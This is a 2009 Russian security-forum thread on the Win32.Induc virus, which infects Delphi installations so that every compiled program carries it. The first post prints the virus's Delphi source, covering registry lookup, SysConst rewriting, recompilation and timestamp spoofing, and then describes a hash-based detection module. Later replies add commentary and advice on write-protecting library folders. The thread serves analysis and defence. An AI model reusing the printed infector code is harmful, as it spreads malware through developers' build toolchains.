ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Программирование > С/С++, C#, Delphi, .NET, Asm
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Защита от Win32.Induc (Delphi)
  #1  
Старый 20.08.2009, 22:12
Аватар для flacs
flacs
Познающий
Регистрация: 28.01.2009
Сообщений: 90
Провел на форуме:
432613

Репутация: 80
По умолчанию Защита от Win32.Induc (Delphi)

Вступление

Недавно в новостях был опубликован, новый гениальный вирус , Virus.Win32.Induc.a заражает Delphi-приложения на этапе разработки.

Вирус оказался необычным и мне захотелось исследовать этот тип вируса.
Разбор полетов, первая модификация этого вируса (12 августа 2009)

PHP код:
function x(s:string):string;
var 
  
i:integer;
begin 
  
for i:=1 to length(s) do 
    if 
s[i]=#36 then s[i]:=#39;
  
result:=s;
end;

procedure re(s,d,e:string);
var
  
f1,f2:textfile;
  
h:cardinal;
  
f:STARTUPINFO;
  
p:PROCESS_INFORMATION;
  
b:boolean;
  
t1,t2,t3:FILETIME;
begin
  h
:=CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
  if 
h<>DWORD(-1then
  begin
    CloseHandle
(h);
    exit;
  
end;
  {
'I-}assignfile(f1,s);
  reset(f1);
  if ioresult<>0 then
    exit;
  assignfile(f2,d+'
pas');
  rewrite(f2);
  if ioresult<>0 then 
  begin 
    closefile(f1); 
    exit; 
  end;

  while not eof(f1) do
  begin
    readln(f1,s);
    writeln(f2,s);
    if pos('
implementation',s)<>0 then
      break;
  end;

  for h:= 1 to 1 do
    writeln(f2,sc[h]);
  for h:= 1 to 23 do
    writeln(f2,''''+sc[h],'''
,');
  writeln(f2,''''+sc[24]+'''
);');
  for h:= 2 to 24 do
    writeln(f2,x(sc[h]));
  closefile(f1);
  closefile(f2);
  {'
I+}MoveFile(pchar(d+'dcu'),pchar(d+'bak'));
  
fillchar(f,sizeof(f),0);
  
f.cb := sizeof(f);
  
f.dwFlags := STARTF_USESHOWWINDOW;
  
f.wShowWindow := SW_HIDE;
  
:= CreateProcess(nil,pchar(e+'"'+d+'pas"'),0,0,false,0,0,0,f,p);
  if 
b then
    WaitForSingleObject
(p.hProcess,INFINITE);
  
MoveFile(pchar(d+'bak'),pchar(d+'dcu'));
  
DeleteFile(pchar(d+'pas'));
  
:= CreateFile(pchar(d+'bak'),0,0,0,3,0,0);
  if 
h=DWORD(-1then
    
exit;
  
GetFileTime(h,@t1,@t2,@t3);
  
CloseHandle(h);
  
:= CreateFile(pchar(d+'dcu'),256,0,0,3,0,0);
  if 
h=DWORD(-1then
    
exit;
  
SetFileTime(h,@t1,@t2,@t3);
  
CloseHandle(h);
end;

procedure st;
var  
  
k:HKEY;
  
c:array [1..255of char;
  
i:cardinal;
  
r:string;
  
v:char;
begin
  
for v:='4' to '7' do
    if 

RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar('Software\Borland\Delphi\'+v+'.0'),0,KEY

_READ,k)=0 then
    begin
      i:=255;
      if RegQueryValueEx(k,'
RootDir',nil,@i,@c,@i)=0 then
      begin
        r:='';
        i:=1;
        while c[i]<>#0 do
        begin
          r:=r+c[i];
          inc(i);
        end;   

re(r+'
\source\rtl\sys\SysConst'+'.pas',r+'\lib\sysconst.','"'+r+'\bin\dcc32.ex

e" ');
      end;
    RegCloseKey(k);
  end;
end;

begin
  st;
end. 

Код несложный, изучив его вы сможете понять его логику.
Суть в том, файл sysconst.pas подключается к любым проектом delphi, а главное к файлу sysutils.pas, вследствии этого любое приложение (в том числе и консольное), будет заражено этим вирусом.

Попробуем реализовать, подобное
Откроем файл sysconst.pas, после interface
пишем uses windows;
и после строки implementation, вписываем такой код

Код:
begin
	MessageBox(0,'Win32.InducA','virus',0);
end;
Компилируем, ага появилась заветное сообщение.

т.к. создателям исключительно повезло что файл sysconst.pas поставляется в исходных текстах, т.к. больше никакие системные файлы, к примеру sysitils, не поставляется в *.pas файлах, а только в *.dcu -> изменить их нельзя, но...
существуют декомпиляторы dcu файлов, и вирусописатели смогут восстановить код
так, что поняв это я начал писать универсальную защиту от подобного типа вирусов.

Защита

Мною был разработан модуль, подключающийся к любому проекту Delphi, и сигнализирующий о том что библиотеки Delphi инфицированы, для этого был закодирован алгоритм, реализующий следующие действия:

1) Создание файла хешей
2) Сверка хешей, во время запуск
а

Проведя небольшое исследование, и поняв что защитный модуль, включаемый в разрабатываемую программу должен БЫТЬ ПЕРВЫМ!!!
т.е.
anti_induc, sysutils;

Тогда защита срабатывает до того как инициализируется системная библиотека (sysutils, sysconst)

1) Создание файла хешей
Код:
SnapshopHash(RootDelphiPath+'\Lib',EXP_MASK, true);
В результате выполнения создается файлик по умолчанию (__hashes.md5), который будет использован для сверки хешей. Т.е. отдельно для каждой машины можно создать файл хешей, в виде

имя файла = хеш файла

2) Сверка хешей
Код:
SnapshopHash(RootDelphiPath+'\Lib',EXP_MASK, false);
Сверка хешей, происходит валидация модулей, при нахождении инфицированого модуля, выдается сообщение

Universal Detect Virus.Win32.Induc.A
File: имя файла


Также результаты записываться в лог файл %Delphi%\Lib\log.txt

Как только будет найден хоть один инфицированный модуль, процесс завершается до того, как вирус начнет действовать.


Заключение

Данный алгоритм, явлется универсальным, и будет спасать от любых модификаций этого вируса, но имеет небольшой недостаток, пересчет md5 хеша, занимает продолжительное время(2-3 сек). Но изпользовать CRC32 сходно самоубийству, т.к. подделать CRC32 можно простейшим плагином к peID.

Как альтернативу советую изпользовать как утилиту для проверки, и сделать так чтобы она запускалась при старте Windows.

исходные файлы, и эксперименты вы можете скачать по слылке

исходники

(с) flacs 2009

P.S: принимаю любую конструктивную критику.

Последний раз редактировалось flacs; 20.08.2009 в 22:22..
 
Ответить с цитированием

  #2  
Старый 20.08.2009, 22:36
Аватар для ErrorNeo
ErrorNeo
Moderator - Level 7
Регистрация: 02.05.2009
Сообщений: 894
Провел на форуме:
4297091

Репутация: 2261


Отправить сообщение для ErrorNeo с помощью ICQ
По умолчанию

во первых вирус не новый
) я там обновил новость. впервые его обнаружили еще весной, но есть мнение, что этому вирусу уже больше года... <думаю комментарии тут не требуются>

код у тебя не полный) выложил бы хоть полный, все равно ведь вирь сам по себе не просто безобидный, но даже создаёт *.bak файл изменяемого им дельфи модуля!11
вот именно у таких виримейкеров надо учиться школьнегам, мечтающим всё у всех отформатировать)

автор позаботился даже о том, чтобы зараженным машиная не было нанесено даже _минимального_ ущерба, и вирус мог бы быть совершенно без последствий удален.

защита? ну да, молодец. +. хотя пытаться защитить винду - все равно, что пытаться поставить заплатки на все дырки в гигантском решете)

в любом случае плюс) лично мне эта защита не нужна, мне интереснее сама эта замечательная зверушка)
 
Ответить с цитированием

  #3  
Старый 20.08.2009, 22:46
Аватар для flacs
flacs
Познающий
Регистрация: 28.01.2009
Сообщений: 90
Провел на форуме:
432613

Репутация: 80
По умолчанию

код вируса я в каком то блоге взял... и логика его работы понятна.

через реестр находим, где установлена Delphi, идем в папку lib, у файла sysconst.pas, меняется расширение(sysconst.bak), из исполняемого файла вытаскивается тело вируса(тело вируса в const), и компилируется утилитой dcc32.exe (производящая в компоновку в *.dcu модули)
Для пущей скрытности, меняется время создания файлов sysconst.bak, sysconst.dcu, в то время когда был создан неинффицированый файл sysconst.pas (оригинальный)

Последний раз редактировалось flacs; 20.08.2009 в 22:56..
 
Ответить с цитированием

  #4  
Старый 20.08.2009, 22:48
Аватар для Nightmarе
Nightmarе
Познавший АНТИЧАТ
Регистрация: 29.04.2007
Сообщений: 1,189
Провел на форуме:
5749763

Репутация: 1680


Отправить сообщение для Nightmarе с помощью ICQ
По умолчанию

А во вторых скоро будут аналоги.... и уже с вредоносным кодом...
 
Ответить с цитированием

  #5  
Старый 21.08.2009, 00:35
Аватар для ErrorNeo
ErrorNeo
Moderator - Level 7
Регистрация: 02.05.2009
Сообщений: 894
Провел на форуме:
4297091

Репутация: 2261


Отправить сообщение для ErrorNeo с помощью ICQ
По умолчанию

вообще, пожалуй, да....
этот код сейчас разошелся по всему миру... я думаю очень многие умельцы используют именно его как основной метод распространения.
так что защита флакса может оказаться гораздо более нужной, чем мне показалось сначала

потому что я, например, не сомневаюсь, что если чуть чуть по-шаманить над кодом - то он опять перестанет палиться)
 
Ответить с цитированием

  #6  
Старый 21.08.2009, 11:53
Аватар для Chrome~
Chrome~
Постоянный
Регистрация: 13.12.2008
Сообщений: 354
Провел на форуме:
1747641

Репутация: 175
Отправить сообщение для Chrome~ с помощью ICQ
По умолчанию

Мда... Я думал, что это глюк в Касперском, - палить проги на этапе создания. Поэтому всегда отключал его. Спасибо, не знал раньше об этом вирусе...
 
Ответить с цитированием

  #7  
Старый 21.08.2009, 17:45
Аватар для mr. ZetRikS
mr. ZetRikS
Познающий
Регистрация: 17.07.2009
Сообщений: 47
Провел на форуме:
131272

Репутация: 4
По умолчанию

Спасибо за инфу... буквально позвачера столкнулся с этим вирем...
Как подцепил так и не понял...
 
Ответить с цитированием

  #8  
Старый 21.08.2009, 20:39
Аватар для slesh
slesh
Reservists Of Antichat - Level 6
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


Отправить сообщение для slesh с помощью ICQ
По умолчанию

самый лучший способ защиты - это запретить запись в папку с DCU файлами. Темболее что через установку прав доступа на NTFS это делает проще некудо. Зато можно небояться. потому как врядли вирь будет менять права доступа, покрайней мере по началу. Или вообще убрать себя из владельцев файлов. чтобы даже незя было поменять права доступа просто так. А тока через аудит итд итп
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Скачать Delphi 7, помощь. _casper_ С/С++, C#, Delphi, .NET, Asm 20 08.12.2009 04:54
Virus.Win32.Induc.a – новый вирус для Delphi ErrorNeo Уязвимости 37 26.08.2009 00:33
Железная защита Dmitriy507 Защита ОС: вирусы, антивирусы, файрволы. 1 18.06.2006 12:21
Защита информации против защиты данных dinar_007 Мировые новости 0 26.02.2006 20:02



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ